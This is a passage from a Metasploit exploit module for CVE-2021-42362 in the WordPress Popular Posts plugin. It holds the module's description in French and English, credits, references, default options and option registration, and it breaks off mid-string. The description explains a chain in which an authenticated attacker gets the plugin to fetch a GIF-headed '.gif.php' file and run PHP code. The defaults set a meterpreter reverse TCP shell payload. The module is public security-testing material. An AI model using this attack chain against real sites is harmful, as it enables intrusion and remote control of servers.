Le FQDN ne doit pas non plus résoudre vers une adresse réservée (192/172/127/10). Le serveur doit également répondre à une requête HEAD pour la charge utile, avant de recevoir une requête GET. Cet exploit tire parti d'une validation d'entrée incorrecte authentifiée dans le plugin Wordpress Popular Posts <= 5.3.2. La chaîne d'exploitation est plutôt compliquée. L'authentification est requise et l'extension PHP 'gd' est nécessaire sur le serveur. Ensuite, le plugin Popular Post est reconfiguré pour autoriser une URL arbitraire pour l'image du post dans le widget. Un post est créé, puis des requêtes sont envoyées au post pour le rendre plus populaire que le précédent n°1 de 5. Une fois que le post atteint le top 5, et après un rafraîchissement du cache serveur de 60 secondes (nous attendons 90), le widget de la page d'accueil est chargé, ce qui déclenche le téléchargement de la charge utile depuis notre serveur par le plugin. Notre charge utile a un en-tête 'GIF' et une double extension ('.gif.php') permettant d'exécuter du code PHP arbitraire. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo

The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server.
